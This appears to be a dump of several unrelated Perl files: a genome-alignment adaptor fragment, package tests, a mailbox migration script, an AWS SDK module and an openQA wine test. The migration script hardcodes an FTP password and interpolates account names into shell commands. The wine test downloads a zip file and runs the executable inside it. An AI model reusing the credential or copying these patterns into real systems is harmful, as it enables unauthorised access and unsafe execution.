$this_gab->dbID($id_base + $gab_id_count); # push( @gabs, $this_gab ); # $gab_id_count++; # } } else { push(@gabs, $gab); } } undef $maf_file_str; } else { # pairwise alignment my $ref_slice_adaptor = $ref_gdb->db_adaptor->get_SliceAdaptor; foreach my $target_gdb (@$targets_gdb) { my $nonref_slice_adaptor = $target_gdb->db_adaptor->get_SliceAdaptor; my $target = $mlss->{'_hal_species_name_mapping'}->{ $target_gdb->dbID }; # print "hal_file is $hal_file\n"; # print "ref is $ref\n"; # print "target is $target\n"; # print "seq_region is $hal_seq_reg\n"; # print "target_seq_region is ".$target_dnafrag->name."\n" if (defined $target_dnafrag); # print "start is $start\n"; # print "end is $end\n"; my $t_hal_seq_reg = $Bio::EnsEMBL::Compara::HAL::UCSCMapping::e2u_mappings->{ $target_dnafrag->genome_db_id }->{ $target_dnafrag->name } || $target_dnafrag->name; my $blocks = $hal_adaptor->pairwise_blocks($target, $ref, $hal_seq_reg, $start-1, $end, $t_hal_seq_reg); foreach my $entry (@$blocks) { if (defined $entry) { next if (@$entry[3] < $min_gab_len ); # skip blocks shorter than 20bp my $gab = new Bio::EnsEMBL::Compara::GenomicAlignBlock( -length => @$entry[3], -method_link_species_set => $mlss, -adaptor => $self, # -dbID => $id_base + $gab_id_count, ); $gab_id_count++; my $ga_adaptor = $self->db->get_GenomicAlignAdaptor; # Create cigar strings my ($ref_aln_seq, $target_aln_seq) = ( $entry->[6], $entry->[5] ); my $ref_cigar = Bio::EnsEMBL::Compara::Utils::Cigars::cigar_from_alignment_string($ref_aln_seq); my $target_cigar = Bio::EnsEMBL::Compara::Utils::Cigars::cigar_from_alignment_string($target_aln_seq); my $df_name = $Bio::EnsEMBL::Compara::HAL::UCSCMapping::u2e_mappings->{ $target_gdb->dbID }->{ @$entry[0] } || @$entry[0]; my $target_dnafrag = $dnafrag_adaptor->fetch_by_GenomeDB_and_name($target_gdb, $df_name); die "Could not find a DnaFrag named '$df_name' for species '".$target_gdb->name."' ($target)" unless ( defined $target_dnafrag ); # check that alignment falls within requested range next if ( @$entry[1] + 1 > $end || @$entry[1] + @$entry[3] < $start ); # check length of genomic align meets threshold next if ( @$entry[3] < $min_ga_len ); my $genomic_align = new Bio::EnsEMBL::Compara::GenomicAlign( -genomic_align_block => $gab, -aligned_sequence => $target_aln_seq, #@$entry[5], -dnafrag => $target_dnafrag, -dnafrag_start => @$entry[2] + (@$entry[4] eq '+' ? 1 : 0), -dnafrag_end => @$entry[2] + @$entry[3] + (@$entry[4] eq '+' ? 0 : -1), -dnafrag_strand => @$entry[4] eq '+' ? 1 : -1, -cigar_line => $target_cigar, # -dbID => $id_base + $ga_id_count, -visible => 1, -adaptor => $ga_adaptor, ); $genomic_align->cigar_line($target_cigar); $genomic_align->aligned_sequence( $target_aln_seq ); $genomic_align->genomic_align_block( $gab ); # $genomic_align->dbID( $id_base + $ga_id_count ); $genomic_align->dbID( join('-', $target_dnafrag->genome_db->dbID, $target_dnafrag->dbID, $genomic_align->dnafrag_start, $genomic_align->dnafrag_end) ); $ga_id_count+=1; $dnafrag->{'_slice'} = undef; my $ref_genomic_align = new Bio::EnsEMBL::Compara::GenomicAlign( -genomic_align_block => $gab, -aligned_sequence => $ref_aln_seq, #@$entry[6], -dnafrag => $dnafrag, -dnafrag_start => @$entry[1] + 1, -dnafrag_end => @$entry[1] + @$entry[3], -dnafrag_strand => 1, -cigar_line => $ref_cigar, # -dbID => $id_base + $ga_id_count, -visible => 1, -adaptor => $ga_adaptor, ); $ref_genomic_align->cigar_line($ref_cigar); $ref_genomic_align->aligned_sequence( $ref_aln_seq ); $ref_genomic_align->genomic_align_block( $gab ); $ref_genomic_align->dbID( join('-', $dnafrag->genome_db->dbID, $dnafrag->dbID, $ref_genomic_align->dnafrag_start, $ref_genomic_align->dnafrag_end) ); $ga_id_count++; $gab->genomic_align_array([$ref_genomic_align, $genomic_align]); $gab->reference_genomic_align($ref_genomic_align); $gab->dbID($ref_genomic_align->dbID); push(@gabs, $gab); } last if ( $limit && scalar(@gabs) >= $limit ); } } } return \@gabs; } ### !! e87 HACK ### # discard the smaller duplicated alignments for now sub _resolve_duplicates { my ( $self, $gab, $min_gab_len ) = @_; my @ga_array = @{ $gab->genomic_align_array }; # split genomic_aligns by species # take note of species order my (%sort_gas, @species_order); for my $ga ( @ga_array ) { my $sp_name = $ga->genome_db->name; push( @species_order, $sp_name ) unless ( defined $sort_gas{$sp_name} ); push( @{ $sort_gas{$sp_name} }, $ga ); } my %resolved_ga_for_species; for my $species ( keys %sort_gas ) { # if it's a duplicate, keep the longer alignment # if not, always keep it if ( scalar( @{ $sort_gas{$species} } ) > 1 ) { $resolved_ga_for_species{$species} = $self->_longer_alignment( $sort_gas{$species} ); } else { $resolved_ga_for_species{$species} = $sort_gas{$species}->[0]; } } my @resolved_genomic_aligns = map { $resolved_ga_for_species{$_} } @species_order; $gab->genomic_align_array( \@resolved_genomic_aligns ); return $gab; } sub _longer_alignment { my ( $self, $ga_array ) = @_; my %size; for my $g ( @$ga_array ) { my $seq = $g->aligned_sequence; $seq =~ s/-+//g; $size{length($seq)} = $g; } my $max_len = max keys %size; return $size{ $max_len }; } ################################## sub _split_genomic_aligns { my ( $self, $gab, $min_gab_len ) = @_; my @ga_array = @{ $gab->genomic_align_array }; my @cigar_lines = map { $_->cigar_line } @ga_array; my $ref_genomic_align = shift @ga_array; my $ref_cigar = shift @cigar_lines; my @non_matching_cigars = grep { $_ ne $ref_cigar } @cigar_lines; my @m_end = grep { $_ =~ m/M$/ } @non_matching_cigars; my @d_end = grep { $_ =~ m/D$/ } @non_matching_cigars; my $max_end_match = 0; foreach my $end_match ( @d_end ){ $end_match =~ m/(\d+)D$/; $max_end_match = $1 if ( $1 > $max_end_match ); } # check whether we can split the block in half(ish) or whether it's # better to keep the main block intact and move the offending genomic_aligns # to a new block my ($can_split, $trim) = (1, 0); foreach my $end_gap ( @d_end ) { # if it also starts with a deletion, then the match is surrounded on each # side and we can't just split the block down the middle. If the deletion # is shorter than the matched region, we should just trim it off (we lose # less data this way) and split in two as usual if ( $end_gap =~ m/^(\d*)D(\d*)M/ ) { my $d = $1 eq '' ? 1 : $1; my $m = $2 eq '' ? 1 : $2; if ( $d < $m ) { $trim = $d if ( $d > $trim ); } else { $can_split = 0; last; } } $end_gap =~ m/(\d+)D$/; if ( $1 < $max_end_match ){ $can_split = 0; } } if ( $trim > 0) { my $new_gab = $gab->restrict_between_alignment_positions($trim+1, $gab->length, 1 ); $gab = $new_gab; $can_split = 1; } my @split_blocks = (); if ( $can_split ){ # restrict the block to create 2, non-overlapping ones my $aln_length = $gab->length; my $split_pos = ($aln_length - $max_end_match); if ( $split_pos > $min_gab_len ) { my $block1 = $gab->restrict_between_alignment_positions(1, $split_pos, 1 ); push( @split_blocks, $block1 ); } if ( $max_end_match > $min_gab_len ) { my $block2 = $gab->restrict_between_alignment_positions($split_pos+1, $aln_length, 1 ); push( @split_blocks, $block2 ); } return \@split_blocks if ( scalar @split_blocks > 1 ); } # if the above method fails to split, or the block just can't be split # then keep main block, but remove offending duplications return [ $self->_resolve_duplicates($gab, $min_gab_len) ]; } sub _parse_maf { my ($self, $maf_lines) = @_; my @blocks; my $x = 0; for my $line ( @$maf_lines ) { chomp $line; push( @blocks, [] ) if ( $line =~ m/^a/ ); if ( $line =~ m/^s/ ) { my %this_seq; my @spl = split( /\s+/, $line ); $this_seq{display_id} = $spl[1]; # $this_seq{start} = $spl[2]; $this_seq{length} = $spl[3]; # $this_seq{strand} = ($spl[4] eq '+') ? 1 : -1; # $this_seq{end} = $spl[2] + $spl[3]; $this_seq{seq} = $spl[6]; $this_seq{region_len} = $spl[5]; if ( $spl[4] eq '+' ) { # forward strand $this_seq{strand} = 1; $this_seq{start} = $spl[2] + 1; $this_seq{end} = $spl[2] + $spl[3]; } else { # reverse strand $this_seq{strand} = -1; $this_seq{start} = $spl[5] - $spl[2] - $spl[3] + 1; $this_seq{end} = $spl[5] - $spl[2]; } push( @{ $blocks[-1] }, \%this_seq ); } } return \@blocks; } 1;
40.901657
180
0.653893
ed563d268a3c332da8f78fe2679ea484cc033893
1,284
t
Perl
t/RPM/Grill/RPM/Specfile/01basic.t
default-to-open/rpmgrill
7031b60bf40c5679c8f50d9a5e1a55f4bcedf9e9
[ "Artistic-2.0" ]
7
2015-05-27T01:36:22.000Z
2021-08-24T09:35:15.000Z
t/RPM/Grill/RPM/Specfile/01basic.t
omron93/rpmgirll
c8eec6a34f584e478769798e2ad18920e20f16f6
[ "Artistic-2.0" ]
17
2015-07-01T06:50:57.000Z
2019-04-17T18:59:56.000Z
t/RPM/Grill/RPM/Specfile/01basic.t
omron93/rpmgirll
c8eec6a34f584e478769798e2ad18920e20f16f6
[ "Artistic-2.0" ]
10
2015-06-30T11:44:55.000Z
2018-05-24T18:33:52.000Z
# -*- perl -*- use strict; use warnings; use Test::More; use Test::Differences; use_ok 'RPM::Grill::RPM::SpecFile'; my $spec_string = do { local $/ = undef; <DATA> }; my $spec = RPM::Grill::RPM::SpecFile->new( $spec_string ); is ref($spec), 'RPM::Grill::RPM::SpecFile', 'ref($spec)'; # List of sections in the spec file my @sections = $spec->sections; is scalar(@sections), 5, 'num. of sections in specfile'; eq_or_diff \@sections, [ qw(%preamble %description %prep %build %changelog) ], 'sections in specfile'; # Compare what the module read, to what we read my $all_lines = join("\n", map { $_->content } $spec->lines) . "\n"; is $all_lines, $spec_string, "spec contents : string comparison"; # Test one of the sections my $sub_lines = join("\n", map { $_->content } $spec->lines("prep")) . "\n"; is $sub_lines, "%prep\n%setup -q\n\n", "spec contents (%prep)"; done_testing(); __END__ Summary: A summary Name: mytool Version: 1.0-1 Release: 1%{?mydist} Source: mytool-%{version}.tar.bz2 License: Red Hat internal. Do not redistribute. Group: Development/Tools BuildRoot: %{_tmppath}/%{name}-root %description This is a description. %prep %setup -q %build make clean make %changelog * Thu Jul 1 2010 Eduardo Santiago <santiago@redhat.com> 1.0-1 - blah blah
22.137931
76
0.674455
ed0dc108c012ad4b2cb1a83b22ba3e4c64a5a404
451
pm
Perl
lib/Data/Object/Scalar/Func/Le.pm
jjatria/do
57d98377cb76af78a9f1d07648e32e62271b326a
[ "Artistic-1.0" ]
null
null
null
lib/Data/Object/Scalar/Func/Le.pm
jjatria/do
57d98377cb76af78a9f1d07648e32e62271b326a
[ "Artistic-1.0" ]
null
null
null
lib/Data/Object/Scalar/Func/Le.pm
jjatria/do
57d98377cb76af78a9f1d07648e32e62271b326a
[ "Artistic-1.0" ]
null
null
null
package Data::Object::Scalar::Func::Le; use 5.014; use strict; use warnings; use Data::Object 'Class'; extends 'Data::Object::Scalar::Func'; # VERSION # BUILD has arg1 => ( is => 'ro', isa => 'Object', req => 1 ); has arg2 => ( is => 'ro', isa => 'Any', req => 1 ); # METHODS sub execute { my ($self) = @_; $self->throw("Less-then or equal-to is not supported"); return; } sub mapping { return ('arg1', 'arg2'); } 1;
10.488372
57
0.560976
ed42097c0b5825a80fe3d6f3ad2c84ee72cea935
5,528
pl
Perl
ethome2aptg/backup/mbox2mdir-single.pl
TonyChengTW/POP3Tools
9b0465b98e6ff849a6b5c2f8263cf450caf2648e
[ "Apache-2.0" ]
null
null
null
ethome2aptg/backup/mbox2mdir-single.pl
TonyChengTW/POP3Tools
9b0465b98e6ff849a6b5c2f8263cf450caf2648e
[ "Apache-2.0" ]
null
null
null
ethome2aptg/backup/mbox2mdir-single.pl
TonyChengTW/POP3Tools
9b0465b98e6ff849a6b5c2f8263cf450caf2648e
[ "Apache-2.0" ]
null
null
null
#!/usr/local/bin/perl # ---------------------------------- # Writer : Mico Cheng # Version : 2004092901 # Use for : # Host : x # ---------------------------------- use Net::FTP; use DBI; ## ---------------- Variables ----------------------- $aptg_deep1_maildir = "/mnt"; $transfer_tmpdir = "/mico/ethome2aptg/tmp"; $old_mail = shift or die "Usage: mbox2mdir-single.pl <old E-mail>\n"; ## --------------- db01.aptg -------------------------- $db01_ip = '210.200.211.3'; $db01_account = 'rmail'; $db01_pwd = 'xxxxxxx'; $db01_name = 'mail_db'; ## ----------------- Tercel ----------------------- $tercel_ip = '203.79.224.102'; $tercel_account = 'brucelai'; $tercel_pwd = 'xxxxxxx'; $tercel_name = 'dialup'; ## ----------------- all ftp ethome ----------------------- $ethome_ip = '210.58.94.70'; $ethome_account = 'ftpuser'; $ethome_pwd = 'U83cjo$'; $ethome_deep1_maildir = '/'; $ethome_mbox_file = 'mbox'; $cm1_ip = '210.58.94.22'; $cm1_account = ''; $cm1_pwd = ''; $cm1_deep1_maildir = '/'; $cm1_mbox_file = 'mbox'; $hc_ip = '210.58.94.31'; $hc_account = ''; $hc_pwd = ''; $hc_maildir = '/'; #------------------------------------------------------------- # Open Tercel $dbh_tercel=DBI->connect("DBI:mysql:$tercel_name;host=$tercel_ip", $tercel_account,$tercel_pwd) or die "$!\n"; # Open db01.aptg.net $dbh_db01=DBI->connect("DBI:mysql:$db01_name;host=$db01_ip", $db01_account, $db01_pwd) or die "$!\n"; ###---------------------------- Transfer mbox2mdir ------------------ # Getting transfer mail list print "\nInfo: Transfer mbox2mdir ........\n\n"; ($old_account,$old_host) = ($old_mail =~ /^(.*)@(.*?)\..*$/); $old_account = lc($old_account); $old_host = lc($old_host); $sqlstmt=sprintf("SELECT old_mail,new_mail FROM mailchang_log WHERE old_mail like '%s\@%s%'",$old_account,$old_host); $sth=$dbh_tercel->prepare($sqlstmt); $sth->execute(); if ($sth->rows==0) { print "Warn: no such old user:$old_mail tranfered to aptg \n"; exit; } while (($old_mail,$new_mail)=($sth->fetchrow_array)[0,1]) { ($new_account) = ($new_mail =~ /^(.*)@.*$/); # Get aptg_maildir $sqlstmt = sprintf("SELECT s_mhost from MailCheck where s_mailid='%s'", $new_account); $sth_db01 = $dbh_db01->prepare($sqlstmt); $sth_db01->execute(); if ($sth_db01->rows==0) { print "Warn: no such user in aptg.net : $new_account \n"; exit; } else { ($mhost) = ($sth_db01->fetchrow_array)[0]; $aptg_maildir = sprintf("%s/%s/%s/%s/%s/Maildir/new/",$aptg_deep1_maildir, $mhost, substr($new_account, 0, 1), substr($new_account, 1, 1), $new_account); $aptg_deep2_maildir = sprintf("%s/%s/%s/%s/",$aptg_deep1_maildir, $mhost, substr($new_account, 0, 1), substr($new_account, 1, 1)); !system("mkdir -p $aptg_maildir") or die "Warn: error mkdir $aptg_maildir\n"; } # Create FTP object chdir($transfer_tmpdir); if ($old_host eq 'ethome') { $ethome_maildir = sprintf("%s/%s/%s",$ethome_deep1_maildir, substr($old_account,0,1),$old_account); $ethome_ftp = Net::FTP->new($ethome_ip) or die "can't connect to $old_host:$@\n"; $ethome_ftp->login($ethome_account,$ethome_pwd) or warn "$ethome_ftp->message"; $ethome_ftp->ascii or warn "$ethome_ftp->message"; $ethome_ftp->cwd($ethome_maildir) or warn "Warn: $ethome_ftp->message"; $ethome_ftp->get($ethome_mbox_file) or warn "Warn: $ethome_ftp->message :$!"; $ethome_ftp->quit; if (-z $ethome_mbox_file) { print "Info: the old user: $old_account didn't need to convert mailbox\n"; exit; } &mbox2mdir($ethome_mbox_file,$aptg_maildir,$mhost); system("/usr/local/bin/chown -R rmail:rmail $aptg_deep2_maildir"); next; } elsif ($old_host eq 'cm1') { print "Info: this is cm1 account $old_account\@$old_host\n"; exit; } elsif ($old_host eq 'hc') { $hc_mbox_file = $old_account; $hc_ftp = Net::FTP->new($hc_ip) or die "can't connect to $old_host:$@\n"; $hc_ftp->login($hc_account,$hc_pwd) or warn "$hc_ftp->message"; $hc_ftp->ascii or warn "$hc_ftp->message"; $hc_ftp->cwd($hc_maildir) or warn "Warn: $hc_ftp->message"; $hc_ftp->get($old_account) or warn "Warn: $hc_ftp->message"; $hc_ftp->quit; &mbox2mdir($hc_mbox_file,$aptg_maildir,$mhost); system("/usr/local/bin/chown -R rmail:rmail $aptg_deep2_maildir"); exit; } else { print "Warn: unknown host --> $old_account\@$old_host\n"; exit; } } sub mbox2mdir { ($mbox_file, $aptg_maildir, $mhost) = @_; open MBOX, "$transfer_tmpdir/$mbox_file" or warn "Warn: can't open $mbox_file:$!\n"; if (!-e $aptg_maildir) { print "no such path\n"; exit; } while (<MBOX>) { chomp; if (/^From .*$/) { close(MDIR); $mdir_file = sprintf("%s/%d.%05d%d.00000000.00.00.%s", $aptg_maildir, time(), rand(10000), $i, $mhost); open(MDIR, ">$mdir_file") or warn "can't open $mdir_file:$!\n"; } print MDIR $_, "\n"; } close(MBOX); close(FILE); system "rm $transfer_tmpdir/$mbox_file 2>/dev/null"; print STDOUT "Info: $old_account\@$old_host->$new_account OK!\n"; }
35.435897
161
0.546491
ed581dea19bcb4c588013b5e881ff75935100529
2,543
pm
Perl
auto-lib/Paws/ELBv2/Action.pm
galenhuntington/aws-sdk-perl
13b775dcb5f0b3764f0a82f3679ed5c7721e67d3
[ "Apache-2.0" ]
null
null
null
auto-lib/Paws/ELBv2/Action.pm
galenhuntington/aws-sdk-perl
13b775dcb5f0b3764f0a82f3679ed5c7721e67d3
[ "Apache-2.0" ]
null
null
null
auto-lib/Paws/ELBv2/Action.pm
galenhuntington/aws-sdk-perl
13b775dcb5f0b3764f0a82f3679ed5c7721e67d3
[ "Apache-2.0" ]
null
null
null
package Paws::ELBv2::Action; use Moose; has AuthenticateCognitoConfig => (is => 'ro', isa => 'Paws::ELBv2::AuthenticateCognitoActionConfig'); has AuthenticateOidcConfig => (is => 'ro', isa => 'Paws::ELBv2::AuthenticateOidcActionConfig'); has Order => (is => 'ro', isa => 'Int'); has TargetGroupArn => (is => 'ro', isa => 'Str'); has Type => (is => 'ro', isa => 'Str', required => 1); 1; ### main pod documentation begin ### =head1 NAME Paws::ELBv2::Action =head1 USAGE This class represents one of two things: =head3 Arguments in a call to a service Use the attributes of this class as arguments to methods. You shouldn't make instances of this class. Each attribute should be used as a named argument in the calls that expect this type of object. As an example, if Att1 is expected to be a Paws::ELBv2::Action object: $service_obj->Method(Att1 => { AuthenticateCognitoConfig => $value, ..., Type => $value }); =head3 Results returned from an API call Use accessors for each attribute. If Att1 is expected to be an Paws::ELBv2::Action object: $result = $service_obj->Method(...); $result->Att1->AuthenticateCognitoConfig =head1 DESCRIPTION Information about an action. =head1 ATTRIBUTES =head2 AuthenticateCognitoConfig => L<Paws::ELBv2::AuthenticateCognitoActionConfig> [HTTPS listener] Information for using Amazon Cognito to authenticate users. Specify only when C<Type> is C<authenticate-cognito>. =head2 AuthenticateOidcConfig => L<Paws::ELBv2::AuthenticateOidcActionConfig> [HTTPS listener] Information about an identity provider that is compliant with OpenID Connect (OIDC). Specify only when C<Type> is C<authenticate-oidc>. =head2 Order => Int The order for the action. This value is required for rules with multiple actions. The action with the lowest value for order is performed first. The forward action must be performed last. =head2 TargetGroupArn => Str The Amazon Resource Name (ARN) of the target group. Specify only when C<Type> is C<forward>. For a default rule, the protocol of the target group must be HTTP or HTTPS for an Application Load Balancer or TCP for a Network Load Balancer. =head2 B<REQUIRED> Type => Str The type of action. Each rule must include one forward action. =head1 SEE ALSO This class forms part of L<Paws>, describing an object used in L<Paws::ELBv2> =head1 BUGS and CONTRIBUTIONS The source code is located here: L<https://github.com/pplu/aws-sdk-perl> Please report bugs to: L<https://github.com/pplu/aws-sdk-perl/issues> =cut
27.945055
103
0.736138
ed63b7aa1f5ac2b832209150e115d16d920cddb3
1,405
pm
Perl
tests/x11/wine.pm
akedroutek/os-autoinst-distri-opensuse
ad49c51e979f5d2654d084b5c5ae0425da9a66c9
[ "FSFAP" ]
null
null
null
tests/x11/wine.pm
akedroutek/os-autoinst-distri-opensuse
ad49c51e979f5d2654d084b5c5ae0425da9a66c9
[ "FSFAP" ]
null
null
null
tests/x11/wine.pm
akedroutek/os-autoinst-distri-opensuse
ad49c51e979f5d2654d084b5c5ae0425da9a66c9
[ "FSFAP" ]
null
null
null
# SUSE's openQA tests # # Copyright © 2018 SUSE LLC # # Copying and distribution of this file, with or without modification, # are permitted in any medium without royalty provided the copyright # notice and this notice are preserved. This file is offered as-is, # without any warranty. # Package: wine wine-mono xterm # Summary: Test wine with a simple Windows program # I decided for about the most simple and small Windows programs I could # find because one of the things I dislike about the MS Windows ecoysystem # is bloated applications. # Maintainer: Oliver Kurz <okurz@suse.de> use base 'x11test'; use strict; use warnings; use testapi; sub run { select_console 'x11'; # Actually only wine should suffice for the tiny app but maybe it really # requires .NET because on startup wine asks if it should install a # wine-mono package ensure_installed 'wine wine-mono', timeout => 360; x11_start_program('xterm'); my $cmd = <<'EOF'; wget http://keir.net/download/timer.zip unzip timer.zip EOF assert_script_run($_) foreach (split /\n/, $cmd); script_run 'wine timer.exe', 0; assert_screen([qw(wine-timer wine-package-install-mono-cancel)], 600); if (match_has_tag 'wine-package-install-mono-cancel') { send_key 'esc'; assert_screen 'wine-timer', 600; } wait_screen_change { send_key 'alt-f4' }; send_key 'alt-f4'; } 1;
31.222222
76
0.71032